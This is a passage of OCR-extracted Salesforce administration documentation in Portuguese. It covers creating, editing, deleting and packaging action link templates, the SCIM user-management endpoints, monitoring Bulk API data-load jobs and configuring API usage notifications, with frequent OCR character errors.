um modelo. Quando um link de acdo é executado, o Salesforce preenche o valor e o retorna na
solicitagdo. Para obter mais informagdes sobre como usar essas varidveis em um modelo, consulte PERMISSOES DO
Designacao de modelos de link de acao. USUARIO

1. Em Configuracdo, insira Modelos de 1link de agdo nacaixa Busca rapida e
selecione Modelos de link de acao.

Para criar modelos de
grupo de links de acdo:

2. (ligue em Novo. e "Personalizar aplicativo”
3. Insirao Nome do modelo. Esse nome é exibido na lista de modelos de grupo de links de acao. Para criar modelos de link
de acdo:

Esse é o Unico valor do modelo de grupo de links de agéo que vocé pode editar apds a publicacao

do modelo e "Personalizar aplicativo”

4. Insirao Nome do desenvolvedor.UseoNome do desenvolvedor para referir-se a esse
modelo em codigo. O valor padrdo é uma versdo do Nome do desenvolvedor Sem espacos. Sao permitidos apenas letras,
numeros e o caractere de sublinhado.

5. Selecionea Categoria, que indica onde exibir os grupos de links de acdo instanciados em elementos de feed. Primério exibe os
grupos de links de acao no corpo dos elementos de feed. Sobrecarga exibe os grupos de links de acao no menu de sobrecarga dos
elementos de feed.

Se um modelo de grupo de links de agdo é Primario, ele pode conter até trés modelos de link de acao. Se um modelo de grupo de
links de agdo é Sobrecarga, ele pode conter até quatro modelos de link de a¢o.

6. Selecioneonimerode Execucdes permitidas,queindicaquantasvezes podem serexecutados os grupos de links de acdo
instanciados a partir desse modelo. (Links de acdo em um grupo sdo mutuamente exclusivos.) Se for escolhido llimitado, os links de
acdo no grupo nao poderdo ser dos tipos Api ou ApiAsync.

7. (Opcional) Insira Horas até a expiracao,queéonumerode horasdesde a criacao do grupo de links de acao até sua
remocao dos elementos de feed associados, quando nao podera mais ser executado. O valor méximo é 8760.

Consulte Definicdo do horério de expiracao do grupo de links de acéo.

8. (lique em Salvar.

9. C(ligue em Novo para criar um modelo de link de acdo.
O modelo de link de acao é associado automaticamente a um modelo de grupo de links de acdo em um relacionamento de mestre
e detalhes.

10. Selecione o Tipo de acéo.

Os valores séo:

e Api —Olinkdeacdo chamauma APl sincrona no URL da acdo. O Salesforce define o status como SuccessfulStatus ou
FailedStatus com base no cédigo de status HTTP que o servidor retorna.
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11.

12.
13.

14.

15.

16.

17.

e ApiAsync -0 link de agdo chama uma APl assincrona no URL da acdo. A agdo continua no estado PendingStatus até
que um terceiro faca uma solicitacgdo a /connect/action-1links/actionLinkId para definir o status como
SuccessfulStatus ou FailedStatus apdsa conclusao da operagdo assincrona.

e Download -0 link de agdo faz download de um arquivo do URL da acéo.

e Ui -Olinkde acdo leva o usudrio a uma pagina da web no URL da acao.

Insiraum URL da acdao, que é o URLdo link de acdo.

No caso de um link de acdo UT, o URL é uma pégina da web. No caso de um link de acdo Download, 0 URL é um link para um
arquivo disponfvel para download. No caso de links de acdo Api ou ApiAsync, 0 URL é um recurso REST.

Os links para recursos hospedados em servidores da Salesforce podem ser relativos, comecando com /. Todos os demais links devem
serabsolutos e comecarcom https: //.Esse campo pode conter varidveis vinculantes noformato { !Bindings. key},como
https://www.example.com/{!Bindings.itemId}.Defina o valorda varidvel vinculante ao instanciar o grupo de
links de acéo a partir do modelo, como neste exemplo de API REST do Chatter, que define o valor de itemID como sendo
86753009.

POST /connect/action-link-group-definitions

"templateId" : "07gD00000004C9r",
"templateBindings" : [
{
"key":"itemId",
"value": "8675309"

}

Esse campo também pode conter varidveis de contexto. Use varidveis de contexto para passar ao cédigo do lado do servidor
informacoes sobre o usudrio que executou o link de acdo. Por exemplo, este link de agdo passa o ID do usudrio que clicou no link de
acao para responder a uma pesquisa no servidor que hospeda a pesquisa.

actionUrl=https://example.com/doSurvey?surveyld=1234&¢salesforceUserId={!userId}

Insirao Método HTTP aserusado para a solicitacao HTTP.
(Opcional) Seo Tipo de acdo é Api ou ApiAsync,insiaum Corpo da solicitacdo HTTP.

Esse campo pode conter varidveis vinculantes e varidveis de contexto.

(Opcional) Seo Tipo de acdo é Api ou ApiAsync,insira Cabecalhos HTTP.
Esse campo pode conter varidveis vinculantes e varidveis de contexto.

Se um link de acdo instanciado a partir de um modelo fizer uma solicitacdo a um recurso do Salesforce, 0 modelo devera conter um
cabecalho Content-Type.

(Opcional) Para que esse link de acdo seja o link padréo no grupo (que tem formatacdo especial na Ul), selecione Link padrao
no grupo. Pode haver apenas um link padrdo em um grupo.

(Opcional) Para exibir um didlogo de confirmagéo ao usuério antes da execucao do link de acéo, selecione Confirmacéo

necessaria.

Insiraa Posicao relativadolink de acdo dentro dos grupos de links de acdo instanciados a partir deste modelo. A primeira posicéo
é0.
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18.Insiraa Legenda de roétulo. Esse valor é alegenda de um conjunto de rétulos de Ul para exibir referente a estes status:

NewStatus, PendingStatus, SuccessfulStatus, FailedStatus.

Por exemplo, o conjunto Publicar contém estes rétulos: Publicacdo, Publicacao pendente, Publicado, Falha na publicacéao.
Esta imagem mostra um link de acdo com a legenda de rétulo Publicagao quando o valor do status é SuccessfulStatus:

Pam Jones
13m ago

Click to post a feed Item.

@ Posted

Performed by: Pam Jones

i Like

Write a comment...

19. (Opcional) Se nenhum dos valores Legenda de rétulo forrelevante para o link de acdo, defina Legenda de rétulo

20.

21.

como Nenhum e insira um valor no campo Rétulo.

Os links de agao possuem quatro status: NewStatus, PendingStatus, SuccessStatus e FailedStatus. Estas strings sao adicionadas ao
rétulo de cada status:

e rotulo

e Jabel Pendente
e Jabel Sucesso
e Jabel Falha

Por exemplo, se o valor 1abel for “Verexemplo”, 0s valores dos quatro estados para links de acéo seréo: Ver exemplo, Ver exemplo
Pendente, Ver exemplo Sucesso e Ver exemplo Falha.

Um link de acdo pode usarum LabelKey ou Label para gerar nomes de rétulos, mas nao é possivel usar ambos.

Selecione Visibilidade de usuéarios,que indicaquem pode ver o grupo de links de acdo.

Se for selecionado Apenas o gerente do criador pode ver, o gerente seré o gerente do criador quando o grupo de links de acao
forinstanciado. Se o gerente do criador mudar depois da instanciagcdo do grupo de links de acdo, essa mudanca nao sera refletida.

(Opcional) Se vocé selecionou Apenas usuério personalizado pode ver ou Todos exceto o usudrio personalizado podem ver, insira
um Alias de usudrio personalizado.
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Insira uma string e defina seu valor ao instanciar um grupo de links de acao, da mesma maneira que seria definido o valor de uma
variavel vinculante. Mas nao use a sintaxe de varidvel vinculante no modelo. Apenas insira um valor. Por exemplo, poderia ser inserido
ExpenseApprover.Este exemplo de APIREST do Chatter define o valor de ExpenseApprover como 005B0000000Ge16:

POST /connect/action-link-group-definitions

"templateId" "07gb00000004C9r",
"templateBindings" : [
{

"key":"ExpenseApprover",

"value": "005B0000000Gelo"

22, Para criar outro modelo de link de acao para esse modelo de grupo de links de acéo, clique em Salvar e novo.
23. Se estd adicionando modelos de link de acao a esse modelo de grupo de links de acéo, clique em Salvar.

24, Para publicar o modelo de grupo de links de acao, clique em Voltar a lista para retornar a exibicdo de lista Modelo de grupo de
links de acéo.

@ Importante: E necessério publicar um modelo para poder instanciar um grupo de links de acdo a partir dele no Apex ou na
APIREST do Chatter.
25. Clique em Editar referente ao modelo de grupo de links de acdo que deseja publicar.

26. Selecione Publicado e clique em Salvar.

Edicdo de modelos de link de acdo

E possivel editar todos os campos em um modelo de grupo de links de acdes nao publicado e em
seus modelos de links de acdes associados.

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

1. Em Configuracdo, insira Modelos de link de agdo nacaixa Busca rapida e
selecione Modelos de link de acao.

2. Para editar um modelo de grupo de links de a¢do, clique em Editar ao lado de seu nome.
Disponivel em: Todas as
edicoes, exceto Personal
Edition.

Se 0o modelo do grupo néo foi publicado, edite qualquer campo. Se foi publicado, edite apenas
0 CampoO Nome.

3. Para editar um modelo de links de acéo:

Clique no nome do modelo de grupo de links de acéo.

PERMISSOES DO

USUARIO

b. Cligue no ID do modelo de link de acdo para abrir a pdgina de detalhes do modelo.

Clique em Editar (Edit).

Se 0 modelo de grupo de links de agdes associado ndo foi publicado, edite qualquer campo.
Se foi publicado, edite qualquer um destes campos:

® URL da acéo
® Corpo da solicitacdo HTTP
® Cabecalhos HTTP

Esses campos oferecem suporte a varidveis de contexto e varidveis vinculantes.

Para editar modelos de
grupo de links de acdes:

e "Personalizar aplicativo”
Para editar modelos de links
de acdo:

e "Personalizar aplicativo”
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e Mover uma variavel vinculante para outro campo editdvel em um modelo de links de acao.

e Usar uma varidvel vinculante em mais de um modelo de links de acao.

e Usar uma varidvel vinculante mais de uma vez em modelos de links de agdo associados ao mesmo modelo de grupo de

links de agdo.

e Remover variaveis vinculantes.

Exclusdo de modelos de grupo de links de agdo

Quando vocé exclui um modelo de grupo de links de agdo, exclui os modelos de links de acéo
associados e todos os grupos de links de agéo que foram instanciados dos modelos. Os grupos de
links de acdo excluidos desaparecem dos elementos de feed aos quais foram associados.

1. Em Configuragdo, insira Modelos de link de acdo nacaixa Busca rapida e
selecione Modelos de link de acéo.

2. Para excluir um modelo de grupo de links de acao, clique em Del ao lado de seu nome.

@ Importante: Quando vocé exclui um modelo de grupo de links de agao, exclui os
modelos de links de agdo associados e todos os grupos de links de acdo que foram
instanciados do modelo. O grupo de links de acao é excluido dos elementos de feed aos
quais foi associado, o que significa que os links de acdo desaparecem dessas publicacdes
no feed.

3. Para excluir um modelo de links de acéo:
a. Clique no nome do modelo de grupo de links de acdo.
b. Clique no ID do modelo de link de acao para abrir a pagina de detalhes do modelo.

¢. Clique em Excluir.

@ Importante: N&o é possfvel excluir um modelo de links de agdo que esté associado a
um modelo de grupo de links de acao publicado.

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Todas as
edicdes, exceto Personal
Edition.

PERMISSOES DO

USUARIO

Para excluir modelos de
grupo de links de acdo:
e "Personalizar aplicativo”

Para excluir modelos de
links de acdo:
e "Personalizar aplicativo”
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Empacotamento de modelos de link de ag¢do
Empacote modelos de link de acao para distribui-los a outras organizacdes Salesforce.

Quando vocé adiciona um modelo de grupo de links de acao, todos os modelos de link de acao
associados sao também adicionados ao pacote. £ possivel adicionar um modelo de grupo de links
de acéo a um pacote gerenciado ou ndo gerenciado. Como componente que pode ser empacotado,
0s modelos de grupo de links de acdo também podem aproveitar todos os recursos de pacotes
gerenciados, como listagem no AppExchange, upgrade automatico, scripts de Apex pds-instalacao,
gerenciamento de licencas e suporte aprimorado ao assinante. Para criar um pacote gerenciado,
vocé deve usar uma organizagao do Developer Edition.

e Consulte Criagdo e edicdo de um pacote em https://help.salesforce.com.
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Todas as
edicoes, exceto Personal
Edition.

PERMISSOES DO

USUARIO

Para empacotar modelos

de link de acdo:

e “Criar pacote do
AppExchange”

Usar o Sistema para gerenciamento de identidades em varios dominios (SCIM)

O Salesforce oferece suporte para a especificacdo de padrdo aberto 1.1 do SCIM para o gerenciamento
de identidades em varios dominios, e oferece algumas extensoes para essa especificacdo, de modo
que vocé possa editar e gerenciar as propriedades do usuario usando a API REST.

Use operacdes CRUD (criar, ler, atualizar e desativar) em usuarios. Também atribua e cancele a
atribuicao de usudrios a um perfil, conjunto de permissoes, papel ou grupo publico do Salesforce
usando a API REST.

Veja a seguir os pontos finais de SCIM do Salesforce, em que salesforce org url éoURL
da organizagao (como um dominio personalizado) para o usuério.

® https://salesforce org url/services/scim/v1/Users

®* https://salesforce org url/services/scim/v1/Groups

® https://salesforce org url/services/scim/v1/Entitlements
® https://salesforce org url/services/scim/v1/Schemas

Vocé pode solicitar os recursos da implementacao SCIM do Salesforce usando

Disponivel em: Salesforce
Classic

Disponivel em: todas as
edicoes

https://salesforce org url/services/scim/vl/ServiceProviderConfigs.

Vocé pode solicitar as propriedades de um usuario especifico usando

https://salesforce org url/services/scim/v1/Users/userID emque userID é0 D de 18 caracteresda

organizagao do usuério.

O Salesforce também inclui as sequintes extensoes.
e |Ddogerente

®  Usuarios externos

e atributos personalizados

e conjuntos de permissdes

As extensdes de SCIM corporativo a sequir aparecem sob este URN:


https://help.salesforce.com
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urn:scim:schemas:extension:enterprise:1.0

employeeNumber

divisao

departamento

gerente (managerld e displayName)

delegatedApprover (delegatedApproverld e displayName)

As extensdes a sequir sao exibidas sob este URN:

urn:salesforce:schemas:extension: 18CHARORGID

campos personalizados (se a organizagao tiver algum)

As seguintes extensdes para usuarios com identidade externa ou da comunidade (cujo profileIdemDireitosédotipo identidade
externa OU usuarios da comunidade)aparecem nesse URN:

urn:salesforce:schemas:extension:external:1.0

accountId

contactId

Se esses valores ndo sdo fornecidos, o Salesforce cria registros de contato e contato para o usudrio. O nome da nova conta tem o formato
usernameJITUserAccount. Por exemplo: user@corpname.orglJiTUserAccount.

@ Nota: O seguinte se aplica a todas as operagdes de SCIM.

e Emuma cldusula, AND ndo tem precedéncia sobre OR. Adicione colchetes explicitamente as clausulas se alguma clausula
individual tiver tanto AND como OR.

e Emuma cldusula, os nomes de atributo e operadores diferenciam letras maitsculas de minudsculas.
e Esses campos devem ser filtrados.

-~ Usudrios: direitos, grupos.

= Grupos: membros.

— Direitos: membros.

Para obter mais informacées, consulte a especificacéo central do esquema SCIM 1.1, a especificacdo da API REST SCIM 1.1 e o Guia do
desenvolvedor da API REST para Salesforce.


http://www.simplecloud.info/specs/draft-scim-core-schema-01.html
http://www.simplecloud.info/specs/draft-scim-api-01.html
https://developer.salesforce.com/docs/atlas.en-us.api_rest.meta/api_rest/intro_what_is_rest_api.htm
https://developer.salesforce.com/docs/atlas.en-us.api_rest.meta/api_rest/intro_what_is_rest_api.htm
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Trabalhos de carregamento de dados em massa

Monitorando trabalhos de carregamento de dados em massa

Vocé pode criar, atualizar ou excluir um grande volume de registros com a APl em massa, que é
otimizada para processar conjuntos grandes de dados. Ela simplifica o carregamento, a atualizacao
ou a exclusdo de dados de alguns milhares a milhdes de registros. Processando uma grande
quantidade de registros requer certo tempo. Essa pagina permite que vocé monitore 0 andamento
dos trabalhos atuais e os resultads do trabalhos recentes.

Processe um conjunto de registros criando um trabalho que contenha um ou mais lotes. O trabalho
especifica qual objeto esta sendo processado e qual tipo de acdo estd sendo usada (consultar,
inserir, atualizar, ou excluir). Um lote é um conjunto de registros enviados para o servidor em uma
solicitacdo HTTP POST. Cada lote € processado de forma independente pelo servidor, néo
necessariamente na ordem em que foi recebido.

Para monitorar o status dos trabalhos de carregamento de dados em massa em andamento ou
recentemente concluidos, em Configuracao, insira Trabalhos de carregamento de
dados em massa nNacaixa Busca réapida e, em sequida, selecione Trabalhos de
carregamento de dados em massa.

Alista Trabalhos em andamento contém as colunas a seguir, mostradas em ordem alfabética:

Coluna Descricdo

ID do O ID exclusivo de 15 caracteres deste trabalho.
trabalho

Objeto O tipo de objeto para os dados que estdo sendo processados. Todos os dados em
um trabalho devem ser do tipo de objeto Unico.

Operacdo A operacdo de processamento para todos os lotes no trabalho. Os valores vélidos
Sdo:
® excluir
® inserir
® consulta
® inserir e atualizar
® atualizar

® hardDelete

Andamento A porcentagem de lotes processados referente ao nimero total de lotes enviados.
O andamento nao serd mostrado quando o trabalho for aberto porque o nimero
total de lotes no trabalho ndo é conhecido até que o trabalho seja fechado. O
andamento talvez nao reflita precisamente o nimero de registros processados.
Os lotes talvez nao contenham o mesmo nimero de registros e eles poderdo ser
processados em velocidades diferentes.

Registros O numero de registros ja processados. Esse nimero aumenta a medida que mais
processados  lotes sdo processados.
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edi¢des
Enterprise, Performance,
Unlimited, Developer e
Database.com

PERMISSOES DO

USUARIO

Para monitorar trabalhos de

carregamento de dados em

massa:

e “Gerenciar integragoes
de dados”
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Coluna

Hora de

inicio

Status

Enviado por
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Descricdo

A data e a hora em que o trabalho foi enviado.

O estado atual do processamento do trabalho. Os valores validos séo:
® Aberto: O trabalho foi criado e os lotes podem ser adicionados ao trabalho.

e Fechado:Nenhum lote novo pode ser adicionado a este trabalho. Os lotes associados ao trabalho poderdo
ser processados depois que um trabalho for fechado. Vocé ndo pode editar ou salvar um trabalho fechado.

e Anulado: O trabalho foi anulado.

e Falha:Otrabalho falhou. Os lotes que foram processados de forma bem-sucedida no trabalho ndo podem
ser restabelecidos.

O nome do usudrio que enviou o trabalho.

Alista Trabalhos concluidos contém as colunas a seguir, mostradas em ordem alfabética: Os trabalhos concluidos sdo removidos da lista
sete dias apds sua conclusao.

Coluna
Hora de fim

ID do
trabalho

Objeto

Operacao

Registros
processados

Hora de

inicio

Status

Descricdo
Data e hora em que o trabalho foi concluido.

O ID exclusivo de 15 caracteres deste trabalho.

O tipo de objeto para os dados que estao sendo processados. Todos os dados em um trabalho devem ser do tipo
de objeto Unico.

A operacao de processamento para todos os lotes no trabalho. Os valores vélidos séo:

® excluir

® inserir

® consulta

® inserir e atualizar

® atualizar

® hardDelete

O numero de registros ja processados. Esse nimero aumenta a medida que mais lotes sdo processados.

A data e a hora em que o trabalho foi enviado.

O estado atual do processamento do trabalho. Os valores validos séo:

e Open (Abrir): O trabalho foi criado e os lotes podem ser adicionados ao trabalho.

e Fechado:Nenhum lote novo pode ser adicionado a este trabalho. Os lotes associados ao trabalho poderdo
ser processados depois que um trabalho for fechado. Vocé ndo pode editar ou salvar um trabalho fechado.

e Anulado:O trabalho foi anulado.
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Coluna Descricdo

e Falha:Otrabalho falhou. Os lotes que foram processados de forma bem-sucedida no trabalho néo podem
ser restabelecidos.

Enviado por Onome do usuario que enviou o trabalho.

Periodo para O periodo total para concluir o trabalho.

concluir

CONSULTE TAMBEM:

Visualizar detalhes dos trabalhos de carregamento de dados em massa

Visualizar detalhes dos trabalhos de carregamento de dados em massa

Vocé pode criar, atualizar ou excluir um grande volume de registros com a APl em massa, que é EDICOES
otimizada para processar conjuntos grandes de dados. Ela simplifica o carregamento, a atualizacdo
ou a exclusdo de dados de alguns milhares a milhdes de registros. Processando uma grande Disponivel em: Salesforce
quantidade de registros requer certo tempo. Essa pagina permite que vocé monitore 0 andamento Classic e Lightning

dos trabalhos atuais e os resultads do trabalhos recentes. Experience

Para exibir os detalhes de um trabalho de carregamento de dados em massa: Disponivel em: Edicdes

1. Em Configuragdo, insira Trabalhos de carregamento de dados em massa Enterprise, Performance,
nacaixa Busca réapida e em sequida, selecione Trabalhos de carregamento de dados Unlimited, Developer e
em massa. Database.com

2. Cligueemumlinkde ID do trabalho referente a um trabalho.

A pagina de detalhes do trabalho contém os campos a sequir, mostrados em ordem alfabética: PERMISSOES DO

USUARIO

Campo Descricao Para monitorar trabalhos de

Tempo de Ondmero de milissequndos que leva para processar acionadores e outros processos carregamento de dadosem

processernto  relacionados aos dados do trabalho. Essa € a soma dos tempos equivalentes em moiso: o ;
. . ~ (]
do Apex  todososlotesdo trabalho. Isso ndo inclui o tempo usado para processar operacoes dGeeézrc]jf)lg”r integracoes

(ms) Apex assincronas e em lote. Se nao houver acionadores, o valor serd 0.

Tempo de O numero de milissegundos que demora para processar ativamente o trabalho,

processamento inclusive o tempo rastreado no campo Tempo de processamento do

ativo da Apex (ms),masnao incluiotempo que o trabalho aguardou na fila para ser

API (ms) processadonem otempo necessario para serializacao e remocao da serializacéo.
Essa é a soma dos tempos equivalentes em todos os lotes do trabalho.

Verséo A versao da APl para o trabalho.
da API

Lotes O nlmero de lotes que foram concluidos para este trabalho.
concluidos

Modo O modo simultaneo para processar lotes. Os valores vélidos sao:
sImultaneo o 014161 0:0slotes sdo processados no modo paralelo. Esse é o valor padrao.

e em série:Oslotes sao processados no modo em série.
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Campo Descricdo
Tipo de O tipo de conteudo do trabalho. Os valores validos sao:
contetdo

Hora de fim

Campo de ID

externo

Falha nos

e Ccsv—dados em formato CSV

e xML—dados em formato XML (op¢éo padréo)

e 7IP_csv—dadosem formato CSV em um arquivo zip contendo anexos bindrios
e 7IP xXML—dadosem formato XML em um arquivo zip contendo anexos bindrios

Data e hora em que o trabalho foi concluido.

O nome do campo de ID externo de uma operagao de insercdo e atualizacao upsert () ..

O numero de lotes que apresentaram falhas neste trabalho.

lotes
ID do O ID exclusivo de 15 caracteres deste trabalho.
trabalho
Lotes em O numero de lotes que estdo em andamento neste trabalho.
andamento
Objeto O tipo de objeto para os dados que estao sendo processados. Todos os dados em um trabalho devem ser do tipo
de objeto Unico.
Operacdes A operacao de processamento para todos os lotes no trabalho. Os valores vélidos séo:
® excluir
® inserir
® consulta
® inserir e atualizar
® atualizar
® hardDelete
Andamento A porcentagem de lotes processados referente ao nimero total de lotes enviados. O andamento ndo serd mostrado
quando o trabalho for aberto porque o nimero total de lotes no trabalho ndo é conhecido até que o trabalho seja
fechado. O andamento talvez ndo reflita precisamente o nimero de registros processados. Os lotes talvez ndo
contenham o mesmo numero de registros e eles poderdo ser processados em velocidades diferentes.
Lotes em O ndmero de lotes em fila neste trabalho.
fila
Registros O numero de registros que ndo foram processados com éxito neste trabalho.
falhos
Registros O numero de registros processados no momento em que a solicitacao foi enviada. Esse nimero aumenta a medida
processados que mais lotes séo processados.
Novas O numero de vezes que o Salesforce tentou salvar os resultados de uma operacdo. As tentativas repetidas se
tentativas  devemaum problema, como uma contencdo de blogueio.
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Campo Descri¢do

Hora de A data e a hora em que o trabalho foi enviado.

inicio

Status O estado atual do processamento do trabalho. Os valores validos séo:

Enviado por

Periodo para

e Open (Abrir): O trabalho foi criado e os lotes podem ser adicionados ao trabalho.

e Fechado:Nenhum lote novo pode ser adicionado a este trabalho. Os lotes associados ao trabalho poderdo
ser processados depois que um trabalho for fechado. Vocé ndo pode editar ou salvar um trabalho fechado.

e Anulado: O trabalho foi anulado.

e Falha:Otrabalho falhou. Os lotes que foram processados de forma bem-sucedida no trabalho ndo podem
ser restabelecidos.

O nome do usudrio que enviou o trabalho.

O periodo total para concluir o trabalho.

concluir

Tempo de O numero de milissegundos levados para processar o trabalho. Essa é a soma do total de tempos de processamento
processamento para todos os lotes do trabalho.

total (ms)

A pégina de detalhes do trabalho inclui uma lista relacionada de todos os lotes do trabalho. A lista relacionada apresenta os links Exibir
solicitacao e Exibir resposta para cada lote. Se o lote for um arquivo CSV, os links apresentaréo a solicitagdo ou resposta em formato
CSV. Se o lote for um arquivo XML, os links apresentardo a solicitagdo ou resposta em formato XML. Esses links estardo disponiveis para
0s lotes criados na APl versdo 19.0 e posterior.

Alista relacionada do lote contém os campos a seguir, mostrados em ordem alfabética:

Campo Descri¢do

Tempo de O numero de milissegundos que leva para processar acionadores e outros processos relacionados aos dados do
processamento lote. Se ndo houver acionadores, o valor serd 0.1sso nao inclui o tempo usado para processar operacoes Apex
do Apex (ms) assincronaseem lote.

Tempo de O numero de milissegundos que demora para processar ativamente o lote, incluindo o tempo de processamento
processamento do Apex. Isso ndo inclui o tempo que o lote aguardou na fila para ser processado nem o tempo necessario para

ativo da API

(ms)
ID do lote

Hora de fim

serializacao e remocao da serializagdo.

O ID do lote. Pode ser globalmente exclusivo, mas isso néo é obrigatério.

A data e a hora no fuso horario UTC em que o processamento terminou. Isso sé sera valido quando o estado for
Concluido.

Registros O ndmero de registros que ndo foram processados com éxito neste lote.

falhos

Registros O nuimero de registros processados neste lote no momento em que a solicitacdo foi enviada. Esse nimero aumenta
processados amedida que mais lotes sdo processados.
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Campo Descri¢do

Contagem de O numero de vezes que o Salesforce tentou salvar os resultados de uma operacdo. As tentativas repetidas séo
retentativas decorrentes de um problema, como conten¢do de bloqueio ou demora em excesso do processamento do lote.

Hora de A data e a hora no fuso horério UTC em que o lote foi criado. Nao se trata da hora em que o processamento foi
inicio iniciado, e sim de quando o lote foi adicionado ao trabalho.

Mensagem do Contém os motivos de falha caso o lote ndo tenha sido concluido com éxito.

estado
Status O estado atual do processamento do lote.

e Em fila:O processamento do lote ainda ndo foi iniciado. Se o trabalho associado a esse lote for anulado,
0 lote ndo seré processado e o estado serd definido como Ndo processado.

* Em andamento:O lote estd sendo processado no momento. Se o trabalho associado a esse lote for anulado,
0 lote mesmo assim sera processado até a conclusdo. Vocé deve encerrar o trabalho associado ao lote para
que esse lote possa ser processado até o fim.

e Concluido: O lote foi processado completamente e o recurso do resultado esta disponivel. O recurso do
resultado indica se algum registro falhou. O batch pode ser concluido mesmo se um ou todos os registros
falharem. Se houver falha em um subconjunto de registros, os registros bem-sucedidos n&o serao restabelecidos.

e Falha:O lote apresentou falha ao processar a solicitacao integral em fungéo de um erro inesperado, como
a solucao ser compactada em um formato nao suportado, ou a ocorréncia de um erro interno do servidor.

e Nao processado: O lote apresentou falha ao processar a solicitacdo integral em fun¢ao de um erro
inesperado, como a solucao ser compactada em um formato ndo suportado, ou a ocorréncia de um erro
interno do servidor.

Tempo de O numero de milissegundos levados para processar o lote. Isso exclui o tempo que o lote aguardou em fila para
processamento Sser processado.
total (ms)
Exibir Cligue no link para um lote para ver a solicitagdo.
solicitacéo
Exibir Clique no link para um lote para ver os resultados.
resultado
CONSULTE TAMBEM:

Monitorando trabalhos de carregamento de dados em massa
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Notificacdes de uso da API

Notificacdes de uso da API

Ao criar uma notificacdo de uso da solicitacdo, vocé especifica um administrador para receber uma EDICOES
notificacdo de email sempre que a organizacao exceder o nimero limite especificado para
solicitagdes da API feitas em um determinado periodo de horas.

Disponivel em: Salesforce

Para visualizar as notificagdes de uso da API, em Configuragéo, insira Notificacdes de uso Classic e Lightning
da API nacaixa Busca rapida e, em seguida, selecione Notificagdes de uso da API. Experience
Na lista de notificagdes, é possivel: Disponivel em: Edi¢des

Enterprise, Performance,

o B ) o Unlimited, Developer e
e Exibir o nome do usudrio que receberd a notificacéo. Database.com

e (licar em Editar ou Excluir para editar ou excluir uma notificacdo existente.

e Exibir o intervalo da notificacdo que define a freqiiéncia com que as notificacdes sdo enviadas.
Por exemplo, se o intervalo de notificacdes é de quatro horas, uma notificacao sera enviada

s e . ) E OES D
somente se a Ultima notificacdo tiver sido enviada ha pelo menos quatro horas. Portanto, durante LPJSTJI\Q\IISISOO SDO
um periodo de 24 horas, serdo enviadas no méaximo seis notificacoes.
e Exibira porcentagem limite que, se excedida, acionard uma notificagdo para ser enviada. Por Para exibir, criar, editar ou
exemplo, se a sua organizacao tiver um limite de 1.000.000 de solicitagdes e vocé tiver excluir notificacdes:
estabelecido um limite de 60% e um intervalo de notificagdo de 24 horas, quando 600.000 e "APl ativada”

solicitagdes da API tiverem sido enviadas em um periodo de 24 horas, o usudrio especificado
receberd uma notificacao.

e Exibir o nome do usudrio que criou a notificacdo e quando a notificagdo foi criada, assim como a Ultima vez que a notificacao foi
modificada e 0 nome do usudrio que fez a modificacao.

Para criar uma nova notificacao, clique em Novo.

Vocé pode criar até dez notificacdes por organizacao.

CONSULTE TAMBEM:
Exibindo notificagdes de uso da AP

Criando e editando notificacdes de uso da AP
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Exibindo nofificacdes de uso da API

Nas paginas de detalhes sobre notificagbes de uso da API, vocé pode exibir informacées sobre uma EDlCC)ES

notificagdo:

e Destinatario da notificacdo — O nome do usuério para a pessoa a qual a notificacdo de email Disponivel em: Salesforce
foi enviada. Classic e Lightning

® Limite — A porcentagem do limite de uso que, quando alcancado, aciona uma notificagao por Experience
email. Disponivel em: Edicbes

e Intervalo de notificagdo (Horas) — A frequéncia com que as notificagdes sdo enviadas. Por Enterprise, Performance,
exemplo, se o intervalo de notificagbes é de quatro horas, uma notificacdo serd enviada somente Unlimited, Developer e
se a Ultima notificacdo tiver sido enviada ha pelo menos quatro horas. Portanto, durante um Database.com
periodo de 24 horas, serdo enviadas no maximo seis notificacoes.

e Criado por — O usudrio que criou a solicitacdo de notificacdo e a hora em que foi criado. PERMISSOES DO

e Modificado por — O usudrio que editou pela Ultima vez a notificacao. USUARIO

Nessa pagina, vocé também pode criar uma nova notificagao com base nos valores da notificagdo Para exibir, criar, editar ou

que estdo sendo exibidos. Cligue em Clonar para criar uma nova notificacdo com os valores atuais excluir notificacdes:

preenchidos na nova notificacéo. Vocé pode editar os valores antes de salvar. e “AP| ativada”

CONSULTE TAMBEM:

Criando e editando notificacdes de uso da API

Notificacdes de uso da API

Criando e editando notificacdes de uso da API

Na pédgina de edicdo da medicdo do uso da API, vocé pode fornecer os valores necessarios para EDICOES
uma notificacdo de limite de taxa. Em Configuracdo, insira Notificacées de uso da
APT nacaixa Busca rapida e, em seguida, selecione Notificacoes de uso da API.

Disponivel em: Salesforce

e O usudrio do Salesforce que receberd as notificagdes. Classic e Lightning
e Aporcentagem limite — a porcentagem do limite de taxa que, uma vez excedida no intervalo Experience

de notificacdo estabelecido, aciona uma notificagdo a ser enviada para o usudrio especificado. Disponivel em: Edi¢des

O valor deve estar entre 0 e 100. Enterprise, Performance,
e QO periodo no qual o nimero de solicitacdes sera medido, em horas. Por exemplo, se o intervalo Unlimited, Developer e

for 24, a taxa deverd ser excedida em 24 horas para que uma notificacdo seja enviada. Database.com

Se vocé alterar o periodo de tempo, 0 novo nado entrard em vigor até a proxima modificagdo -
do periodo de tempo existente. Por exemplo: vamos supor que vocé tenha definido o periodo PERMISSOES DO
de tempo para enviar notificacées a cada hora. Entao, as 16h05, vocé define o periodo de tempo USUARIO

para enviar notificacdes a cada 24 horas. A Ultima notificacdo do periodo de tempo anterior é
enviada as 17h. A notificacdo seguinte seria enviada as 17h do dia sequinte.

Para exibir, criar, editar ou
excluir notificacoes:

e "API ativada”

CONSULTE TAMBEM:
Exibindo notificacoes de uso da API

Notificacoes de uso da API
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Aplicativos de acesso remoto

Visdo geral do aplicativo de acesso remoto

@ Nota: Aplicativos de acesso remoto foram substituidos por aplicativos conectados. Use

aplicativos conectados em qualquer aplicativo que precise se integrar a Salesforce para verificar

usudrios e controlar politicas de sequranca para aplicativos externos. Quaisquer aplicativos

de acesso remoto existente foram automaticamente migrados para os aplicativos conectados

com a versdo Summer 13,

CONSULTE TAMBEM:

Visao geral de aplicativos conectados

Aplicativos conectados

Visdo geral de aplicativos conectados

PERMISSOES DO USUARIO

Para ler: “Personalizar aplicativo”

